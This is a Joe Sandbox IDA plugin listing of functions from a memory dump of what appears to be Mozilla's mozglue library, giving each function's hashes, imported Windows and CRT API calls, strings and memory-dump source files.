Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 212a208c1c822196c264d321568a9f2cbc8b79efa196e338c90dd48acafe8c2d
Instruction ID: e48757182ed1cd05f2ab4ca71e4b16e9f42f4be273c0a22d1ad9673b3846cf70
Opcode Fuzzy Hash: 212a208c1c822196c264d321568a9f2cbc8b79efa196e338c90dd48acafe8c2d
Instruction Fuzzy Hash: B161E071A007109FDB118F25C880BDAB7B0BF8A308F54891DED8A57701DB31E959CBAA

Function 6C649F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C649FDB
free.MOZGLUE(?,?), ref: 6C649FF0
free.MOZGLUE(?,?), ref: 6C64A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C64A0BE
free.MOZGLUE(?,?), ref: 6C64A0D5
free.MOZGLUE(?,?), ref: 6C64A0EB

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 01cc30e141b85765e5800d01e4c5961588bb603ac38a4c11e46076c2b400e376
Instruction ID: e62bbe0569f906d9b9acd18d0a1d42d36e0f3a636b495fad0deb8a7bd443be6e
Opcode Fuzzy Hash: 01cc30e141b85765e5800d01e4c5961588bb603ac38a4c11e46076c2b400e376
Instruction Fuzzy Hash: 5661DC759087019FC711CF18C48059AB3F5FF89329F50866DE8999BB02EB32E986CBC5

Function 6C64DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C64D38A,?), ref: 6C64DC6F
free.MOZGLUE(?,?,?,?,?,6C64D38A,?), ref: 6C64DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C64D38A,?), ref: 6C64DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C64D38A,?), ref: 6C64DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C64D38A,?), ref: 6C64DD4A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 583007f54331eea1765d65e87f3bf9d19af0e20942b104d5921f18ccfb0954e4
Instruction ID: e77567803e6ac95bceea7c777330f033439e6e393f6f7ba9bf96fa7381637eeb
Opcode Fuzzy Hash: 583007f54331eea1765d65e87f3bf9d19af0e20942b104d5921f18ccfb0954e4
Instruction Fuzzy Hash: 32419CB5E00215CFCB04CFA9C88099AB7F6FF89308B658469DA05ABB10D731FC00CB98

Function 6C62F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C62F480

Part of subcall function 6C5FF100: LoadLibraryW.KERNEL32(shell32,?,6C66D020), ref: 6C5FF122
Part of subcall function 6C5FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5FF132

CloseHandle.KERNEL32(00000000), ref: 6C62F555

Part of subcall function 6C6014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C601248,6C601248,?), ref: 6C6014C9
Part of subcall function 6C6014B0: memcpy.VCRUNTIME140(?,6C601248,00000000,?,6C601248,?), ref: 6C6014EF

Part of subcall function 6C5FEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5FEEE3

CreateFileW.KERNEL32 ref: 6C62F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C62F523

Strings

\oleacc.dll, xrefs: 6C62F4CB

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f6e002535f6a3fc9afaccbd27af25949db023e64768495d46e4e84ccb4bbc8c6
Instruction ID: 3f671e3c15f852fe5c5e2ef2f790824d446f2410b0158fdd9b89219824928fac
Opcode Fuzzy Hash: f6e002535f6a3fc9afaccbd27af25949db023e64768495d46e4e84ccb4bbc8c6
Instruction Fuzzy Hash: A541EF706087209FE324CF29C884A9BB3F4AF94318F104A1CF59097650EB34D949CFAB

Function 6C63E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E04F

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C63E057

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: eaf6e35506c2cf3bd23615f75a8abbd6360241059000d6fbb4d8c5912a77fca5
Instruction ID: 8f1f32cd4d137a62268e02552eae19d51e47ba2bc89f8cbbff507399b0a4fd1f
Opcode Fuzzy Hash: eaf6e35506c2cf3bd23615f75a8abbd6360241059000d6fbb4d8c5912a77fca5
Instruction Fuzzy Hash: AF21D074A001289FCF049F65C898AEEB7B5EF86308F142424E80A97741DB35AD19CBF9

Function 6C6574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C657526
__Init_thread_footer.LIBCMT ref: 6C657566
__Init_thread_footer.LIBCMT ref: 6C657597

Strings

UnmapViewOfFile2, xrefs: 6C657552
kernel32.dll, xrefs: 6C657557

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5b827b15924873701e9da7131207c9b8bdb0add795873dad8a58528fe10f558f
Instruction ID: 4d1b680db17091b48783b11310dddb568bcafda0bd801f1052edc5e5307b3062
Opcode Fuzzy Hash: 5b827b15924873701e9da7131207c9b8bdb0add795873dad8a58528fe10f558f
Instruction Fuzzy Hash: EC214831701011ABCB19CFAA9C84E993375EF47325F608D29D80587B80CB39A8118A7F

Function 6C65A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67F770,-00000001,?,6C66E330,?,6C61BDF7), ref: 6C65A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C61BDF7), ref: 6C65A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C61BDF7), ref: 6C65A7E4
LeaveCriticalSection.KERNEL32(6C67F770), ref: 6C65A80A

Strings

accelerator.dll, xrefs: 6C65A7BF

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 99f66c7bf80d8e248bfbda11898a899c6c6d855a20489bb40cf9574de472316e
Instruction ID: 4e62920956795faef333ad87721eb7e733e1ccf3fd4a31f5a927f9c95abcf4cb
Opcode Fuzzy Hash: 99f66c7bf80d8e248bfbda11898a899c6c6d855a20489bb40cf9574de472316e
Instruction Fuzzy Hash: 5E018FB06003149F9B08CF5AE8C4C6177B8FB8A355B14846AE9098B712EB709800CBBA

Function 6C6575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C65748B,?), ref: 6C6575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6575D7
FreeLibrary.KERNEL32(?,6C65748B,?), ref: 6C6575EC

Strings

RtlNtStatusToDosError, xrefs: 6C6575D1
ntdll.dll, xrefs: 6C6575B3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: afb49935a152ce0b91e1b342dc98fb048b1c550c8c27ba125e8c30752df26bb7
Instruction ID: 52a4cf0a61a8862f87d1e4bfd297eb2fbdc79fdcd0ac2c035db048cb1bd1ef1e
Opcode Fuzzy Hash: afb49935a152ce0b91e1b342dc98fb048b1c550c8c27ba125e8c30752df26bb7
Instruction Fuzzy Hash: 0EE09AB1610361ABDB0A5BB3D8C8B017AF8EB46358F104C25EA05D1710EBB980528F3E

Function 6C657600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C657592), ref: 6C657608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C657627
FreeLibrary.KERNEL32(?,6C657592), ref: 6C65763C

Strings

NtUnmapViewOfSection, xrefs: 6C657621
ntdll.dll, xrefs: 6C657603

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 19e4af2d281eb03318206f03a2d3d58c7a5f85f84dc006ba5d586cbebf87d54d
Instruction ID: 54994f6219f3f109e2804b62af654253ba37c0bea33dbf9c473f645e868f804d
Opcode Fuzzy Hash: 19e4af2d281eb03318206f03a2d3d58c7a5f85f84dc006ba5d586cbebf87d54d
Instruction Fuzzy Hash: A7E0BF706103619BDF0A9FB7E8D8B017AB8E756399F108D15EA05D1750E7B980118F3E

Function 6C65BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C65BE49), ref: 6C65BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C65BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C65BE49), ref: 6C65BF38
RtlReAllocateHeap.NTDLL ref: 6C65BF83
RtlFreeHeap.NTDLL(6C65BE49,00000000), ref: 6C65BFA6

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 7f51a79f046bc67c1f35c4d61926fdb76ef1c5d08172d2638e0f524cf45c5371
Instruction ID: 864fd658def06bfa48683294c01246ce35775ca62cd9e4de29ba940766e869d6
Opcode Fuzzy Hash: 7f51a79f046bc67c1f35c4d61926fdb76ef1c5d08172d2638e0f524cf45c5371
Instruction Fuzzy Hash: D451AF71A002058FE710CF69CD80BAAB3A2FFC9314F794639D556A7B54D731F9168B84

Function 6C648E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648EBF
free.MOZGLUE(?,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648F46
free.MOZGLUE(?,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F8F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cd2a7c9195d60e8454abd9284dc6243d04b3d05d28a553c3c4327df69d0227ce
Instruction ID: 8398c7d5aad043379e768f971baa558f27931b703da72f139c27faace5d624aa
Opcode Fuzzy Hash: cd2a7c9195d60e8454abd9284dc6243d04b3d05d28a553c3c4327df69d0227ce
Instruction Fuzzy Hash: 4A51C2B1A012168FEB14CF58D8807AEB7B2BF49348F15842AD916EB750E731F905CBD9

Function 6C6427E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C642620,?,?,?,6C6360AA), ref: 6C64284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C642620,?,?,?,6C6360AA), ref: 6C64289A
free.MOZGLUE(?,?,?,6C642620,?,?,?,6C6360AA), ref: 6C6428F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C642620,?,?,?,6C6360AA), ref: 6C642910
free.MOZGLUE(00000001,?,?,6C642620,?,?,?,6C6360AA), ref: 6C64293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C642620,?,?,?,6C6360AA), ref: 6C64294E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 48571db221d4d2966e3a5b5f1a5fcdc90fea2fa373d80052755d21dbd37bcf38
Instruction ID: 65d517fcb88b2b3994f994d32a94feb82ec5be8a557cef981796d215107d6a9b
Opcode Fuzzy Hash: 48571db221d4d2966e3a5b5f1a5fcdc90fea2fa373d80052755d21dbd37bcf38
Instruction Fuzzy Hash: B341E0B1A002068FEB14CF69D88876E77F6EF45308F248939D556EB740E731E904CBA9

Function 6C5FCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5FD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5FD139

Strings

MOZ_CRASH(), xrefs: 6C5FD187

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 96f7b679b3f4274684a668253d7f5f9a056da420a2e17bd75f6d3a95bac9469b
Instruction ID: 674dbd5756f90c8b7ebd00cb7bc3c2f510b89eef4adb7bb024d92df786ab39bb
Opcode Fuzzy Hash: 96f7b679b3f4274684a668253d7f5f9a056da420a2e17bd75f6d3a95bac9469b
Instruction Fuzzy Hash: 9F41D232B402264FDB0DCE7D8CD17AA36B4EB49714F140939E928E7784E7A59C058FE9

Function 6C5F4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5F4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5F4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5F4F1E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: a3e70df1d0fa093091c099c5e06d6108fc11f96cfd842de2afce6ec7f9a8a219
Instruction ID: d53239b49feea3940187118ef2f733c897e63e2b4454cf857c192e3a1fa0ca58
Opcode Fuzzy Hash: a3e70df1d0fa093091c099c5e06d6108fc11f96cfd842de2afce6ec7f9a8a219
Instruction Fuzzy Hash: 7D41CF716087019FD709CF29C88095BB7E5BF89344F108A2DF56A97B41DB30E95ACF92

Function 6C65A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67F770), ref: 6C65A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65A87B

Part of subcall function 6C65A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C65A88F,00000000), ref: 6C65A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C65A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65A90C
LeaveCriticalSection.KERNEL32(6C67F770), ref: 6C65A97E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: e7906ead1db8f65b91c781a85af4e9cee27592f0529f6d53cb85ca9db86233b4
Instruction ID: 504a2319bf629cecb4799c34edcd914dc174864e8c34c285b087bfe5ad49ea22
Opcode Fuzzy Hash: e7906ead1db8f65b91c781a85af4e9cee27592f0529f6d53cb85ca9db86233b4
Instruction Fuzzy Hash: 1D41B3F0D002449FDB00DFA4D885BEEB770FF05324F148A19E81AAB791D7319955CBA9

Function 6C601530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C60159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C6015BC
moz_xmalloc.MOZGLUE(-00000001,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C6015E7
free.MOZGLUE(?,?,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C601606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C601637

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b1928ed530e0ec461e5d56e1d2a12959dcfeb3bfa2ef3c2f5425bd1476174b14
Instruction ID: e41c98989579266f839aaf51f0925141ade9a8a741389991f67c89f089744089
Opcode Fuzzy Hash: b1928ed530e0ec461e5d56e1d2a12959dcfeb3bfa2ef3c2f5425bd1476174b14
Instruction Fuzzy Hash: 3D31EAB1B001149BC71D8E7CDD504AF77A5BB823687280B2DE823EBBD4EB30D9058799

Function 6C65AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AD9D

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65ADAC
